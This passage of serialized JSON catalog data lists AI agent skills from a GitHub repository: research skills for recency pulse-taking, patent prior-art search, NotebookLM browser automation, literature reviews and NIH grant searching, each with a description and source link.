curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]